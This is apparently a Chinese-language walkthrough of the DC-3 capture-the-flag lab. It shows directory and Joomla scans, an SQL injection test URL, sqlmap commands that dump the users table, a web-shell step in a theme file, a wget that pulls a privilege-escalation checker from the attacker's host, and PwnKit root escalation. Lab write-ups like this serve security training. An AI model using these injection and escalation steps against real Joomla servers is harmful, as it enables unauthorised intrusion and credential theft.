前言

环境部署

  • 虚拟化:VMware Workstation
  • 网卡:桥接

攻击机

  • IP 192.168.1.7
  • Kali Linux 25.3

靶机

  • DC-3
  • IP 192.168.1.10

渗透流程

主机发现

这一次,只有一个标志,一个入口点,没有线索。 要获得标志,您显然必须获得 root 权限。 如何成为 root 取决于你自己 - 显然,还有系统。 祝你好运 - 我希望你喜欢这个小挑战。:-)

目录扫描

1
dirsearch -u http://192.168.1.10/

Joomla程序,有针对性漏洞扫描工具。

1
sudo apt install joomscan
1
joomscan --url http://192.168.1.10

版本为:Joomla 3.7.0

针对性查找漏洞

image-20260331013651954

验证:

1
http://192.168.1.10/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

提示报错,存在sql注入

sqlmap语句

1
sqlmap -u "http://192.168.1.10/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20260331015218237

1
sqlmap -u "http://192.168.1.10/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

1
sqlmap -u "http://192.168.1.10/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --dump

1
sqlmap -u "http://192.168.1.10/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C "username,password" --dump

得到密码snoopy

在主题管理可以进入到文件管理器

上级就是这个beez3主题的位置

在index写入

监听 访问 上线

权限比较低,对于这种情况,我们直接提权

下载检测脚本

1
wget http://192.168.1.7:8000/les.sh

我一直开着python的http服务传输文件

添加执行权限,运行

Pwnkit和chocobo_root都可以我记得是

下载PwnKit,传输,unzip解压

cd然后make

提权成功

进交互

1
python3 -c 'import pty;pty.spawn("/bin/bash")'